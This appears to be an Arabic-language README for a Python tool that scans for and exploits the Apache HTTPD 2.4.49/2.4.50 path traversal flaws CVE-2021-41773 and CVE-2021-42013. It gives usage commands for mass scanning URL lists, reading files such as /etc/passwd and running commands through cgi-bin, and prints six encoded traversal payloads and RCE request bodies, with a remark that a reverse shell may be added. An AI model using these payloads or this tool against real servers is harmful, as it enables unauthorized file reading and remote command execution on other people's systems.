
مدقق تجاوز المسار في apache httpd (CVE-2021-41773 / CVE-2021-42013)
في 20211005، تم الكشف عن ثغرة اجتياز الدليل في Apache HTTPD 2.4.49 (CVE-2021-41773)، والتي يمكن أن تؤدي إلى قراءة أي ملف (إذا كان الدليل الذي يتم اجتيازه مسموحًا بالوصول إليه، مثل تكوين <Directory />Require all granted</Directory>، غير مسموح افتراضيًا) أو تنفيذ الأوامر (يتطلب RCE تفعيل CGI، ولا يتضمن وحدة CGI افتراضيًا).
في 20211008، ظهرت ثغرة اجتياز الدليل في الإصدار 2.4.50 (CVE-2021-42013)، والتي تجاوزت إصلاح CVE-2021-41773.
لمزيد من التفاصيل حول الثغرة، راجع: إعادة إنتاج وتحليل ثغرة اجتياز الدليل في Apache HTTPD 2.4.49/2.4.50
تشغيل باستخدام Python3
المساعدة: python3 apache-httpd-path-traversal.py -h

فحص عنوان URL واحد: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"


فحص جماعي: python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

قراءة ملف: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

تنفيذ أمر: python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

إرسال حزم HTTP باستخدام urllib.request
يعتمد اكتشاف وجود الثغرة على قراءة /etc/passwd والتحقق مما إذا كانت البيانات المرتجعة تحتوي على السلسلة "root:" (نظرًا لأن معظم الخوادم تعمل بنظام Linux، فسيتم تجاهل اكتشاف Windows مؤقتًا).
متعدد الخيوط، مع إمكانية تحديد مهلة زمنية لزيادة الكفاءة.
دليل موجود اختياري (--cdir)، وshell لـ RCE (--rceshell) لتوفير المرونة.
يتم استخدام قائمة بالأدلة العامة المحتملة أثناء الفحص لزيادة معدل الدقة. commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']
ملاحظة: في بعض الأحيان، يتم استخدام دليل icons لقراءة الملفات، بينما يتطلب RCE دليل cgi-bin. يتم التحليل حسب الحالة.
يستخدم 7 أنواع من PoCs وتنسيقين لـ POST data لـ RCE:
#cve-2021-41773
poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"
#cve-2021-42013
poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"
poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"
poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"
poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"
#rce data
rce0 = "echo;id"
rce1 = "echo Content-Type: text/plain; echo; id"
// يبدو أن تغيير طريقة POST إلى GET في RCE يعمل أيضًا.
// يجب تعديل الـ payload وفقًا لعدد طبقات مسار Apache الهدف، وعادةً ما تكون 4 طبقات كافية.
// يجب وجود دليل موجود في Apache، مثل icons/ أو cgi-bin/
قد تتم إضافة الكشف عن أنظمة Windows.
قد تتم إضافة استغلالات إضافية مثل reverse shell.
gmail:[email protected]